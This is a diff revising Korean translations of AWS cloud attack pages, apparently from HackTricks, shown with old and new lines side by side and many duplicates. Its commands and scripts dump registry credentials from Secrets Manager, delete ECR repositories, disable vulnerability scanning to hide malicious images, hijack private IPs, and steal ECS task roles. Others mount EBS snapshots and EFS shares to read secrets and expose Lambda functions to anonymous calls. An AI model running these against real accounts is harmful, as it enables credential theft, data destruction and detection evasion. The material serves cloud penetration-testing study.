7) attacker instance에서, protected host에 도달하기 위해 hijacked IP에 source-bind 하세요 (IP가 OS에 설정되어 있는지 확인하세요; 설정되어 있지 않다면 `ip addr add $HIJACK_IP/<mask> dev eth0`로 추가하세요)
|
||||
7) 공격자 인스턴스에서, hijacked IP에 source-bind하여 보호된 호스트에 접근한다(해당 IP가 OS에 구성되어 있는지 확인; 구성되어 있지 않다면 `ip addr add $HIJACK_IP/<mask> dev eth0`로 추가).
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- IP allowlists를 우회하고 같은 subnet/AZ 내에서 ENIs 간에 secondary private IPs를 이동시켜 VPC 내의 신뢰된 호스트를 가장할 수 있습니다.
|
||||
- 특정 source IPs로 접근을 제한하는 내부 서비스에 도달할 수 있어, lateral movement 및 data access를 가능하게 합니다.
|
||||
## 영향
|
||||
- 같은 subnet/AZ 내에서 ENIs 간에 secondary private IPs를 이동시켜 VPC 내의 IP allowlists를 우회하고 신뢰된 호스트로 가장할 수 있습니다.
|
||||
- 특정 source IPs로 액세스를 제한하는 내부 서비스에 접근하여 lateral movement 및 data access를 가능하게 합니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
자세한 내용은 다음을 확인하세요
|
||||
자세한 정보는 다음을 확인하세요
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
이미지를 다운로드한 후에는 **민감한 정보를 확인해야 합니다**:
|
||||
이미지를 다운로드한 후에는 **민감한 정보가 있는지 확인해야 합니다**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정할 수** 있으며, 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다.
|
||||
이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정**한 다음 **ECR repository 전체를 삭제**할 수 있습니다. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
### ECR Pull‑Through Cache (PTC)에서 업스트림 레지스트리 자격증명 탈취
|
||||
ECR Pull‑Through Cache가 인증된 upstream registries(Docker Hub, GHCR, ACR 등)에 대해 구성되어 있으면, upstream 자격 증명은 예측 가능한 이름 접두사 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자는 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여, 자격 증명 exfiltration 및 AWS 외부에서의 재사용을 가능하게 합니다.
|
||||
|
||||
ECR Pull‑Through Cache가 인증된 업스트림 레지스트리(Docker Hub, GHCR, ACR 등)에 대해 구성되어 있으면, 업스트림 자격증명은 예측 가능한 이름 접두사인 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자는 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여 자격증명을 탈취하고 AWS 밖에서 재사용할 수 있게 합니다.
|
||||
|
||||
Requirements
|
||||
요구 권한
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
PTC 후보 시크릿 열거
|
||||
PTC의 후보 시크릿 열거
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
발견된 secrets을 덤프하고 공통 필드를 파싱합니다.
|
||||
발견된 secrets를 덤프하고 공통 필드를 파싱합니다
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -116,24 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
선택 사항: leaked creds를 upstream (읽기 전용 로그인)에 대해 검증
|
||||
선택 사항: leaked creds를 upstream에 대해 검증 (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
영향
|
||||
- Secrets Manager 항목을 읽으면 재사용 가능한 upstream registry 자격증명(사용자명/비밀번호 또는 토큰)이 획득되어, upstream 권한에 따라 AWS 외부에서 private 이미지를 pull 하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다.
|
||||
Impact
|
||||
- Secrets Manager 항목을 읽으면 재사용 가능한 업스트림 레지스트리 자격증명 (username/password or token)을 얻을 수 있으며, 이는 업스트림 권한에 따라 AWS 외부에서 private 이미지를 pull하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
레지스트리 수준의 ECR 권한을 가진 공격자는 registry scanning configuration을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약점 스캔을 조용히 축소하거나 비활성화할 수 있습니다. 이로 인해 새 이미지 푸시는 자동으로 스캔되지 않아 취약하거나 악성인 이미지를 숨길 수 있습니다.
|
||||
레지스트리 수준의 ECR 권한을 가진 공격자는 registry scanning configuration을 BASIC으로 설정하고 scan-on-push 규칙을 제거함으로써 모든 리포지토리에 대한 자동 취약점 스캐닝을 조용히 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새로 푸시된 이미지가 자동으로 스캔되지 않아 취약하거나 악의적인 이미지를 숨길 수 있습니다.
|
||||
|
||||
요구사항
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
- ecr:PutImageScanningConfiguration (선택 사항, 리포지토리별)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (검증)
|
||||
|
||||
레지스트리 전체를 수동으로 다운그레이드 (자동 스캔 없음)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -145,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
repo 및 image를 사용하여 테스트
|
||||
repo와 이미지로 테스트
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -160,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
선택 사항: 리포지토리 범위에서 추가로 하향 조정
|
||||
선택 사항: repo 범위에서 추가적으로 권한을 저하시킴
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -169,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
영향
|
||||
- 레지스트리 전반에 걸친 새로운 이미지 푸시는 자동으로 스캔되지 않으므로 취약하거나 악성인 컨텐츠의 가시성이 감소하고, 수동 스캔이 시작될 때까지 탐지가 지연됩니다.
|
||||
- 레지스트리 전체에 걸친 새 이미지 푸시가 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 감소하고 수동 스캔이 시작될 때까지 탐지가 지연됩니다.
|
||||
|
||||
|
||||
### 레지스트리 전체 스캔 엔진 다운그레이드: `ecr:PutAccountSetting`를 통해 (AWS_NATIVE -> CLAIR)
|
||||
### 레지스트리 전역 스캔 엔진 다운그레이드 `ecr:PutAccountSetting`를 통해 (AWS_NATIVE -> CLAIR)
|
||||
|
||||
기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하여 레지스트리 전체에서 취약점 탐지 품질을 저하시킬 수 있습니다. 이는 스캐닝을 비활성화하지는 않지만 결과/커버리지에 실질적인 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캐닝 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.
|
||||
기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하여 레지스트리 전체의 취약점 탐지 품질을 저하시킬 수 있습니다. 이는 스캐닝을 비활성화하지는 않지만 결과와 커버리지에 실질적 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캔 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.
|
||||
|
||||
요구사항
|
||||
요구 권한
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (선택 사항) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
영향
|
||||
- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔은 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다.
|
||||
- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔이 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다.
|
||||
|
||||
단계
|
||||
```bash
|
||||
@@ -202,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,33 +12,33 @@ For more information check:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
ECS에서는 컨테이너 내부에서 실행되는 **IAM role can be assigned to the task**. **If** 그 task가 **EC2** 인스턴스 내에서 실행된다면, **EC2 instance**에는 **another IAM** role이 연결되어 있을 것입니다.\
|
||||
즉, ECS 인스턴스를 **compromise** 하면 잠재적으로 **obtain the IAM role associated to the ECR and to the EC2 instance** 할 수 있습니다. 해당 자격증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요:
|
||||
ECS에서는 컨테이너 내부에서 실행되는 task에 **IAM role을 할당할 수 있습니다**. **만약** task가 **EC2** 인스턴스 내에서 실행된다면, 해당 **EC2 instance에는 또 다른 IAM role이 붙어 있습니다**.\
|
||||
즉, ECS 인스턴스를 **compromise**하면 잠재적으로 **ECR 및 EC2 인스턴스와 연관된 IAM role을 획득**할 수 있습니다. 해당 자격증명을 얻는 방법에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2 인스턴스가 IMDSv2를 적용하고 있는 경우, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request**는 **hop limit of 1**을 가지므로 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근하는 것이 불가능해집니다.
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
또한, EC2는 docker를 사용해 ECs tasks를 실행하므로, 만약 노드로 탈출하거나 **access the docker socket** 할 수 있다면 어떤 **other containers**가 실행 중인지 **check** 할 수 있고, 심지어 그 내부로 **get inside of them** 하여 연결된 **steal their IAM roles** 할 수도 있습니다.
|
||||
게다가, EC2는 ECs tasks를 실행하기 위해 docker를 사용하므로, 만약 노드로 탈출하거나 **docker socket에 접근**할 수 있다면 어떤 **other containers**가 실행 중인지 **check**할 수 있고, 심지어 그 안으로 **get inside of them** 하여 붙어 있는 **IAM roles**을 **steal**할 수 있습니다.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
게다가, **EC2 instance role**은 보통 클러스터 내 노드로 사용되는 EC2 인스턴스들의 **permissions**가 되어 해당 인스턴스들의 **update the container instance state**를 수행할 수 있을 만큼의 권한을 가지고 있습니다. 공격자는 인스턴스의 **state of an instance to DRAINING**을 변경할 수 있고, 그러면 ECS는 해당 인스턴스에서 **remove all the tasks from it** 하며, **REPLICA**로 실행되던 작업들은 **run in a different instance,** — 잠재적으로 공격자의 **attackers instance** 내부에서 실행되어, 그는 **steal their IAM roles** 및 컨테이너 내부의 민감한 정보를 획득할 수 있습니다.
|
||||
또한, **EC2 instance role**은 일반적으로 클러스터 내 노드로 사용되는 EC2 인스턴스의 **container instance state를 업데이트할 수 있는 충분한 permissions을 가지고 있습니다**. 공격자는 인스턴스의 **state of an instance to DRAINING**을 변경할 수 있고, 그러면 ECS는 해당 인스턴스에서 **remove all the tasks from it** 하며, REPLICA로 실행되던 작업들은 다른 인스턴스에서 **run in a different instance,** — 잠재적으로 공격자의 인스턴스 안에서 실행되어 **그들의 IAM roles**와 컨테이너 내부의 민감한 정보를 **steal**할 수 있습니다.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
동일한 방법은 **deregistering the EC2 instance from the cluster**으로 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **force the tasks to be run in other instances:**
|
||||
동일한 기법은 **EC2 instance를 cluster에서 등록 해제하는 것**으로도 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만, **tasks가 다른 instances에서 실행되도록 강제할 것입니다:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
작업을 강제로 재실행하게 만드는 마지막 기법은 ECS에 **task or container was stopped**임을 알리는 것입니다. 이를 수행할 수 있는 API는 3가지가 있습니다:
|
||||
작업을 재실행하도록 강제하는 마지막 기법은 ECS에 **task or container was stopped**를 통지하는 것입니다. 이를 수행할 수 있는 API는 3가지가 있습니다:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,38 +50,40 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR containers에서 민감한 정보 탈취
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
EC2 인스턴스에는 아마도 `ecr:GetAuthorizationToken` 권한이 있어 **이미지 다운로드**가 가능하며(이미지에서 민감한 정보를 검색할 수 있습니다).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **이미지를 다운로드** (you could search for sensitive info in them).
|
||||
|
||||
|
||||
|
||||
### EBS 스냅샷을 ECS task에 직접 마운트하기 (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
네이티브 ECS EBS 통합(2024+)을 악용해 기존 EBS 스냅샷의 내용을 새 ECS task/service 내부에 직접 마운트하고 컨테이너 내부에서 데이터를 읽습니다.
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
|
||||
|
||||
- 필요 권한(최소):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- 다음 중 하나: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole 대상:
|
||||
- 볼륨에 사용되는 ECS 인프라스트럭처 역할(정책: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles (태스크 정의에서 참조됨)
|
||||
- 스냅샷이 CMK로 암호화되어 있는 경우: 인프라 역할에 대한 KMS 권한 필요 (위 AWS 관리형 정책에는 AWS 관리형 키에 필요한 KMS 권한이 포함되어 있습니다).
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- 영향: 스냅샷에서 임의의 디스크 내용을(예: 데이터베이스 파일) 컨테이너 내부에서 읽고 네트워크/로그를 통해 exfiltrate.
|
||||
- Impact: 컨테이너 내부에서 snapshot의 임의 디스크 내용을 읽고(예: 데이터베이스 파일) 네트워크/로그를 통해 exfiltrate 할 수 있음.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) ECS 인프라스트럭처 역할을 생성(존재하지 않는 경우)하고 관리형 정책을 연결합니다:
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) `configuredAtLaunch`로 표시된 볼륨을 가진 task definition을 등록하고 컨테이너에 마운트합니다. 예 (시크릿을 출력한 다음 sleep 상태로 유지):
|
||||
2) `configuredAtLaunch`로 표시된 volume을 가진 task definition을 등록하고 이를 container에 마운트합니다. 예시(시크릿을 출력한 후 대기):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) `volumeConfigurations.managedEBSVolume`을 통해 EBS snapshot을 전달하여 서비스를 생성하거나 업데이트합니다 (인프라 역할에 iam:PassRole 필요). 예:
|
||||
3) `volumeConfigurations.managedEBSVolume`를 통해 EBS 스냅샷을 전달하여 서비스 생성 또는 업데이트 (인프라 역할에 iam:PassRole 필요). 예:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,12 +117,12 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) 작업이 시작되면, 컨테이너는 구성된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via 작업의 네트워크/로그.
|
||||
4) task가 시작되면 컨테이너는 설정된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via the task’s network/logs.
|
||||
|
||||
Cleanup:
|
||||
정리:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,21 +1,23 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration`를 사용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포하여 함수가 이전에 접근할 수 없었던 shared secrets/config를 유출합니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 요구사항
|
||||
- 피해자 계정/프린시펄에 대한 권한:
|
||||
`lambda:UpdateFunctionConfiguration`을 악용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽기하는 단순 코드를 배포하여 해당 함수가 이전에는 접근할 수 없었던 공유된 비밀/구성 정보를 탈취합니다.
|
||||
|
||||
## 요구 사항
|
||||
- 피해자 계정/주체에 필요한 권한:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (함수 찾기용)
|
||||
- `lambda:ListFunctions` (함수 검색용)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (mount targets 존재 확인용)
|
||||
- `efs:DescribeMountTargets` (마운트 대상 존재 확인용)
|
||||
- 환경 가정:
|
||||
- 대상 Lambda는 VPC-enabled 상태이며 해당 서브넷/SG가 TCP/2049로 EFS mount target SG에 도달할 수 있어야 합니다 (예: 역할에 AWSLambdaVPCAccessExecutionRole이 있고 VPC 라우팅이 허용되는 경우).
|
||||
- EFS Access Point는 동일한 VPC에 있어야 하며 Lambda 서브넷의 AZ들에 mount targets가 있어야 합니다.
|
||||
- 대상 Lambda가 VPC 사용 설정되어 있고 해당 서브넷/SGs가 TCP/2049를 통해 EFS 마운트 대상 SG에 도달할 수 있어야 합니다 (예: 역할에 AWSLambdaVPCAccessExecutionRole이 있고 VPC 라우팅이 이를 허용하는 경우).
|
||||
- EFS Access Point는 동일한 VPC에 있어야 하며 Lambda 서브넷의 AZs에 마운트 대상이 있어야 합니다.
|
||||
|
||||
## Attack
|
||||
- Variables
|
||||
## 공격
|
||||
- 변수
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) 코드를 파일을 나열하고 후보 secret/config file의 처음 200바이트를 확인하는 간단한 reader로 덮어씁니다.
|
||||
2) 코드를 간단한 reader로 덮어써 파일을 나열하고 후보 secret/config 파일의 처음 200바이트를 확인한다
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -57,19 +59,18 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) 호출하여 데이터 가져오기
|
||||
3) 호출하고 데이터 가져오기
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
출력에는 /mnt/ht 아래의 디렉터리 목록과 EFS에서 선택한 secret/config 파일의 작은 미리보기가 포함되어야 합니다.
|
||||
출력에는 /mnt/ht 아래의 디렉터리 목록과 EFS에서 선택한 비밀/설정 파일의 간단한 미리보기가 포함되어야 합니다.
|
||||
|
||||
## 영향
|
||||
## Impact
|
||||
나열된 권한을 가진 공격자는 임의의 in-VPC EFS Access Points를 피해자 Lambda 함수에 마운트하여 해당 함수에서 이전에는 접근할 수 없었던 EFS에 저장된 공유 구성 및 비밀을 읽고 exfiltrate할 수 있습니다.
|
||||
|
||||
나열된 권한을 가진 공격자는 임의의 in-VPC EFS Access Points를 피해자 Lambda 함수에 마운트하여 해당 함수에서 이전에 접근할 수 없었던 EFS에 저장된 공유 구성 및 secrets를 읽고 exfiltrate할 수 있습니다.
|
||||
|
||||
## 정리
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,29 +1,31 @@
|
||||
# AWS - Lambda Function URL 공개 노출 (AuthType NONE + Public Invoke Policy)
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
프라이빗 Lambda Function URL을 Function URL AuthType을 NONE으로 전환하고 모두에게 lambda:InvokeFunctionUrl을 부여하는 리소스 기반 정책을 연결하여 공개 비인증 엔드포인트로 만듭니다. 이렇게 하면 내부 함수를 익명으로 호출할 수 있게 되어 민감한 백엔드 작업이 노출될 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 악용
|
||||
Lambda Function URL를 Function URL AuthType을 NONE으로 전환하고 모든 사용자에게 lambda:InvokeFunctionUrl을 부여하는 resource-based policy를 연결하여 비공개 Lambda Function URL을 공개 무인증 엔드포인트로 바꿀 수 있습니다. 이는 내부 함수의 익명 호출을 가능하게 하며 민감한 백엔드 작업을 노출시킬 수 있습니다.
|
||||
|
||||
- 전제 조건: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
## 악용 방법
|
||||
|
||||
- 사전 요구사항: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- 리전: us-east-1
|
||||
|
||||
### 단계
|
||||
1) 함수에 Function URL이 있는지 확인하세요 (기본값은 AWS_IAM):
|
||||
1) 함수에 Function URL이 있는지 확인 (기본값은 AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) URL을 공개로 전환하세요 (AuthType NONE):
|
||||
2) URL을 공개로 전환 (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) 비인증 주체를 허용하는 리소스 기반 정책 문(statement)을 추가하세요:
|
||||
3) 인증되지 않은 주체가 접근할 수 있도록 resource-based policy 문을 추가:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) URL을 가져와 자격 증명 없이 호출하세요:
|
||||
4) URL을 가져와 자격증명 없이 호출:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
@@ -32,7 +34,7 @@ curl -sS "$URL"
|
||||
### 영향
|
||||
- Lambda 함수가 인터넷을 통해 익명으로 접근 가능해집니다.
|
||||
|
||||
### 예시 출력 (인증 없음, 200)
|
||||
### 예시 출력 (인증되지 않은 200)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
`lambda:PutRuntimeManagementConfig`를 악용하여 함수를 특정 런타임 버전에 고정(Manual)하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layers/wrappers와의 호환성이 유지되며, 취약한 구버전 런타임에 함수를 머물게 해서 공격 및 장기 지속성에 유리하게 활용할 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
